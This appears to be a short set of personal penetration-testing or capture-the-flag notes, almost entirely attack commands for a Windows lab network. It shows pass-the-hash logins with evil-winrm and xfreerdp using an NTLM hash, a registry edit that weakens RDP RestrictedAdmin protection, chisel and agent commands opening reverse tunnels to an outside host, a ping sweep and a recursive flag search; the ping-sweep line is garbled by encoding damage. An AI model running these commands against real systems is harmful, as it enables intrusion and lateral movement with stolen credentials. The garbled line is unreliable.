Evilwinrm Proxchains with Hash
proxychains -f proxychains4.conf evil-winrm -i 172.16.3.5 -u 'Administrator' -H f2594c9e60abf7e28e7601db343a7e24 /domain:admin.offshore.com
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
proxychains -f proxychains4.conf xfreerdp /u:Administrator /pth:f2594c9e60abf7e28e7601db343a7e24 /v:172.16.3.5
.\chiselj.exe client 10.10.15.149:8004 R:7000:socks
.\agent.exe -connect 10.10.15.149:11601 -ignore-cert Ping Sweep
1�.�.�2�56� �|� �%� �{�"�1�7�2�.�1�6�.�3�.�$�(�$�_�)�:� �$�(�T�e�s�t�-�C�o�n�n�e�c�t�i�o�n� �-�c�o�u�n�t� �1� �-�c�o�m�p� �1�7�2�.�1�6�.�3�.�$�(�$�_�)� �-�q�u�i�e�t�)�"�}���
Get-PSDrive -PSProvider FileSystem | ForEach-Object {
Get-ChildItem -Path $_.Root -Filter flag.txt -Recurse -ErrorAction SilentlyContinue
}